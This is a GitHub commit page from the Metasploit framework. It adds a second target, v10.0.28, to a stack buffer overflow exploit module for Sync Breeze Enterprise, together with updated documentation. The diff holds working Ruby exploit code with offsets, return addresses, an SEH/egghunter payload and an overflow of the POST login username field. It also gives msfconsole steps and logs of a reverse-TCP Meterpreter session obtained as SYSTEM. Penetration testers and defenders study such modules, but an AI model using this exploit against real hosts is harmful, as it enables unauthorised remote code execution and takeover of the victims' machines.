Skip to content

Commit c67a587

Browse files
wchen-r7wchen-r7
committed
Land rapid7#9055, Add exploit for Sync Breeze HTTP Server
Land rapid7#9055
2 parents 6b89f62 + 3a2c612 commit c67a587

File tree

2 files changed

+138
-43
lines changed

2 files changed

+138
-43
lines changed

‎documentation/modules/exploit/windows/http/syncbreeze_bof.md

Lines changed: 40 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
## Vulnerable Application
22

3-
[Sync Breeze Enterprise](http://www.syncbreeze.com) versions up to v9.4.28 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerability is caused by improper bounds checking of the request path in HTTP GET requests sent to the built-in web server. This module has been tested successfully on Windows 7 SP1. The vulnerable application is available for download at [Sync Breeze Enterprise](http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.4.28.exe).
3+
[Sync Breeze Enterprise](http://www.syncbreeze.com) versions up to v9.4.28 and v10.0.28 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerabilities are caused by improper bounds checking of the request path in HTTP GET requests and username value via HTTP POST requests sent to the built-in web server, respectively. This module has been tested successfully on Windows 7 SP1. The vulnerable applications are available for download at [Sync Breeze Enterprise v9.4.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.4.28.exe) and [Sync Breeze Enterprise v10.0.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe).
44

55
## Verification Steps
66
1. Install a vulnerable Sync Breeze Enterprise
@@ -10,13 +10,14 @@
1010
5. Check `Enable Web Server On Port 80` to start the web interface
1111
6. Start `msfconsole`
1212
7. Do `use exploit/windows/http/syncbreeze_bof`
13-
8. Do `set RHOST ip`
14-
9. Do `check`
15-
10. Verify the target is vulnerable
16-
11. Do `set PAYLOAD windows/meterpreter/reverse_tcp`
17-
12. Do `set LHOST ip`
18-
13. Do `exploit`
19-
14. Verify the Meterpreter session is opened
13+
8. Select appropriate target via `set target 0` or `set target 1`
14+
9. Do `set RHOST ip`
15+
10. Do `check`
16+
11. Verify the target is vulnerable
17+
12. Do `set PAYLOAD windows/meterpreter/reverse_tcp`
18+
13. Do `set LHOST ip`
19+
14. Do `exploit`
20+
15. Verify the Meterpreter session is opened
2021

2122
## Scenarios
2223

@@ -72,3 +73,34 @@ Logged On Users : 3
7273
Meterpreter : x86/windows
7374
meterpreter >
7475
```
76+
77+
###Sync Breeze Enterprise v10.0.28 on Windows 7 SP1
78+
79+
```
80+
msf > use exploit/windows/http/syncbreeze_bof
81+
msf exploit(syncbreeze_bof) > set rhost 192.168.10.61
82+
rhost => 192.168.10.61
83+
msf exploit(syncbreeze_bof) > set target 1
84+
target => 1
85+
msf exploit(syncbreeze_bof) > exploit
86+
87+
[*] Started reverse TCP handler on 192.168.10.60:4444
88+
[*] Sending request...
89+
[*] Sending stage (171583 bytes) to 192.168.10.61
90+
[*] Meterpreter session 1 opened (192.168.10.60:4444 -> 192.168.10.61:4129) at 2017-10-09 13:22:15 -0400
91+
[+] negotiating tlv encryption
92+
[+] negotiated tlv encryption
93+
[+] negotiated tlv encryption
94+
95+
meterpreter > getuid
96+
Server username: NT AUTHORITY\SYSTEM
97+
meterpreter > sysinfo
98+
Computer : MUSHROOMKINGDOM
99+
OS : Windows 7 (Build 7600).
100+
Architecture : x86
101+
System Language : en_US
102+
Domain : WORKGROUP
103+
Logged On Users : 2
104+
Meterpreter : x86/windows
105+
meterpreter >
106+
```

‎modules/exploits/windows/http/syncbreeze_bof.rb

Lines changed: 98 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -15,15 +15,17 @@ def initialize(info = {})
1515
'Name' => 'Sync Breeze Enterprise GET Buffer Overflow',
1616
'Description' => %q{
1717
This module exploits a stack-based buffer overflow vulnerability
18-
in the web interface of Sync Breeze Enterprise v9.4.28, caused by
19-
improper bounds checking of the request path in HTTP GET requests
18+
in the web interface of Sync Breeze Enterprise v9.4.28 and v10.0.28, caused by
19+
improper bounds checking of the request in HTTP GET and POST requests
2020
sent to the built-in web server. This module has been tested
2121
successfully on Windows 7 SP1 x86.
2222
},
2323
'License' => MSF_LICENSE,
2424
'Author' =>
2525
[
26-
'Daniel Teixeira'
26+
'Daniel Teixeira',
27+
'Andrew Smith', # MSF support for v10.0.28
28+
'Owais Mehtab' # Original v10.0.28 exploit
2729
],
2830
'DefaultOptions' =>
2931
{
@@ -37,66 +39,127 @@ def initialize(info = {})
3739
},
3840
'Targets' =>
3941
[
42+
[
43+
'Automatic', {}
44+
],
4045
[ 'Sync Breeze Enterprise v9.4.28',
4146
{
4247
'Offset' => 2488,
4348
'Ret' => 0x10015fde # POP # POP # RET [libspp.dll]
4449
}
50+
],
51+
[ 'Sync Breeze Enterprise v10.0.28',
52+
{
53+
'Offset' => 780,
54+
'Ret' => 0x10090c83 # JMP ESP [libspp.dll]
55+
}
4556
]
4657
],
4758
'Privileged' => true,
4859
'DisclosureDate' => 'Mar 15 2017',
4960
'DefaultTarget' => 0))
5061
end
5162

52-
def check
63+
def get_product_name
5364
res = send_request_cgi(
5465
'method' => 'GET',
5566
'uri' => '/'
5667
)
5768

5869
if res && res.code == 200
59-
version = res.body[/Sync Breeze Enterprise v[^<]*/]
60-
if version
61-
vprint_status("Version detected: #{version}")
62-
if version =~ /9\.4\.28/
63-
return Exploit::CheckCode::Appears
64-
end
65-
return Exploit::CheckCode::Detected
66-
end
67-
else
68-
vprint_error('Unable to determine due to a HTTP connection timeout')
69-
return Exploit::CheckCode::Unknown
70+
product_name = res.body.scan(/(Sync Breeze Enterprise v[^<]*)/i).flatten.first
71+
return product_name if product_name
72+
end
73+
74+
nil
75+
end
76+
77+
def check
78+
product_name = get_product_name
79+
return Exploit::CheckCode::Unknown unless product_name
80+
81+
if product_name =~ /9\.4\.28/ || product_name =~ /10\.0\.28/
82+
return Exploit::CheckCode::Appears
83+
elsif product_name =~ /Sync Breeze Enterprise/
84+
return Exploit::CheckCode::Detected
7085
end
7186

7287
Exploit::CheckCode::Safe
7388
end
7489

90+
def get_target_name
91+
if target.name != 'Automatic'
92+
print_status("Target manually set as #{target.name}")
93+
return target
94+
else
95+
print_status('Automatically detecting target...')
96+
end
97+
98+
case get_product_name
99+
when /9\.4\.28/
100+
print_status('Target is 9.4.28')
101+
return targets[1]
102+
when /10\.0\.28/
103+
print_status('Target is 10.0.28')
104+
return targets[2]
105+
else
106+
nil
107+
end
108+
end
109+
75110
def exploit
111+
tmp_target = target
112+
case get_target_name
113+
when targets[1]
114+
target = targets[1]
115+
eggoptions = {
116+
checksum: true,
117+
eggtag: rand_text_alpha(4, payload_badchars)
118+
}
76119

77-
eggoptions = {
78-
checksum: true,
79-
eggtag: rand_text_alpha(4, payload_badchars)
80-
}
120+
hunter, egg = generate_egghunter(
121+
payload.encoded,
122+
payload_badchars,
123+
eggoptions
124+
)
81125

82-
hunter, egg = generate_egghunter(
83-
payload.encoded,
84-
payload_badchars,
85-
eggoptions
86-
)
126+
sploit = rand_text_alpha(target['Offset'])
127+
sploit << generate_seh_record(target.ret)
128+
sploit << hunter
129+
sploit << make_nops(10)
130+
sploit << egg
131+
sploit << rand_text_alpha(5500)
87132

88-
sploit = rand_text_alpha(target['Offset'])
89-
sploit << generate_seh_record(target.ret)
90-
sploit << hunter
91-
sploit << make_nops(10)
92-
sploit << egg
93-
sploit << rand_text_alpha(5500)
133+
print_status('Sending request...')
94134

95-
print_status('Sending request...')
135+
send_request_cgi(
136+
'method' => 'GET',
137+
'uri' => sploit
138+
)
96139

97-
send_request_cgi(
98-
'method' => 'GET',
99-
'uri' => sploit
100-
)
140+
when targets[2]
141+
target = targets[2]
142+
uri = "/login"
143+
sploit = rand_text_alpha(target['Offset'])
144+
sploit << [target.ret].pack('V')
145+
sploit << rand_text(4)
146+
make_nops(10)
147+
sploit << payload.encoded
148+
149+
print_status('Sending request...')
150+
151+
send_request_cgi(
152+
'method' => 'POST',
153+
'uri' => uri,
154+
'vars_post' => {
155+
'username' => "#{sploit}",
156+
'password' => "rawr"
157+
}
158+
)
159+
else
160+
print_error("Exploit not suitable for this target.")
161+
end
162+
ensure
163+
target = tmp_target
101164
end
102165
end

0 commit comments

Comments
 (0)